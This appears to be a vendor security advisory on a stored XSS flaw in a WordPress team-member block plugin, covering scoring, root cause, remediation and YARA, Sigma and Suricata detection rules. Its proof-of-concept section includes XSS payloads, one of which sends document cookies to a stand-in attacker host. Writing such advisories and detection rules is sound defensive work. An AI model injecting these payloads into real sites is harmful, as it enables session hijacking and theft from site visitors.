CVE-2025-26949

Executive Summary

CVE-2025-26949 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Team Section Block by bPlugins, affecting versions up to and including 1.0.9. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the plugin’s block content. This injected script executes in the context of any user viewing the affected page, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch details are currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires contributor-level access
• User Interaction: Required (UI:R) – victim must view the page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can affect all site visitors, including administrators.

Deep Dive & Mechanics

The vulnerability exists in the team-section WordPress plugin, which provides a Gutenberg block for displaying team members. The plugin fails to sanitize or escape user-supplied input when rendering the block’s content (e.g., team member names, bios, or custom fields). An attacker with contributor-level privileges can craft a block containing malicious JavaScript. When the block is saved and later rendered on a page, the script executes in the browser of any user viewing that page.

Root Cause: The plugin uses echo or wp_kses_post incorrectly, or directly outputs user input without proper escaping functions like esc_html() or wp_kses().

Attack Flow:

1. Attacker logs in as a contributor (or higher).
2. Creates or edits a post/page containing the Team Section Block.
3. Injects a payload such as <script>alert('XSS')</script> into a field (e.g., member name).
4. Saves the post. The payload is stored in the database.
5. Victim (e.g., admin or visitor) views the page.
6. The payload executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (example from plugin source):

// In team-section-block.php or similar
echo '<h3>' . $member_name . '</h3>';

Here, $member_name is output directly without sanitization.

Patched Code (hypothetical):

echo '<h3>' . esc_html( $member_name ) . '</h3>';

Or using wp_kses_post() for rich content:

echo '<h3>' . wp_kses_post( $member_name ) . '</h3>';

Note: No official patch has been released as of this report.

Exploitation & Lab Setup

Red Team (Proof of Concept)

Since no public exploit exists, the following demonstrates the vulnerability in a controlled environment.

Prerequisites:

• WordPress installation with Team Section Block <= 1.0.9
• Contributor-level account

Steps:

1. Log in as contributor.
2. Create a new post.
3. Add the Team Section Block.
4. In the "Member Name" field, enter:

   <script>alert(document.cookie)</script>
   

5. Publish the post.
6. As an admin or visitor, view the post. The script executes.

Advanced Payload (session hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

• Input Validation: Ensure all user inputs are sanitized using esc_html(), esc_attr(), or wp_kses().
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
• Web Application Firewall (WAF): Deploy rules to detect XSS patterns in POST data.
• User Role Management: Restrict contributor access to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress admin pages.
• File System: Modified plugin files (e.g., team-section-block.php) containing suspicious JavaScript.
• Database: Posts/pages with <script> tags in post_content for the team-section block.
• Logs: Unusual 404 errors or referrer headers from attacker-controlled domains.

Example IOC (database query):

SELECT ID, post_title, post_content FROM wp_posts WHERE post_content LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2025_26949_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Team Section Block plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26949"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "onload=" ascii wide nocase
        $plugin = "team-section" ascii wide nocase
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Team Section Block Plugin
id: 8a3f7c2e-5b1d-4f9a-8c6e-2d3f1a0b9c8d
status: experimental
description: Detects stored XSS attempts via Team Section Block plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-admin/admin-ajax.php'
        http.body|contains: 'team-section'
        http.body|contains|any:
            - '<script>'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in block content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26949 Stored XSS in Team Section Block"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"team-section"; http_client_body; pcre:"/(<script>|onerror=|onload=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Remove any suspicious posts containing XSS payloads.
3. Change all user passwords if compromise is suspected.

Long-term Fix:

• Apply the official patch when released (monitor plugin page).
• Implement input sanitization in custom code using esc_html() or wp_kses().
• Use a security plugin (e.g., Wordfence) to block XSS attempts.

Workaround:

• Restrict contributor roles to trusted users only.
• Enable CSP headers to mitigate script execution.

Report generated by Valters IT DevSecOps Intelligence Unit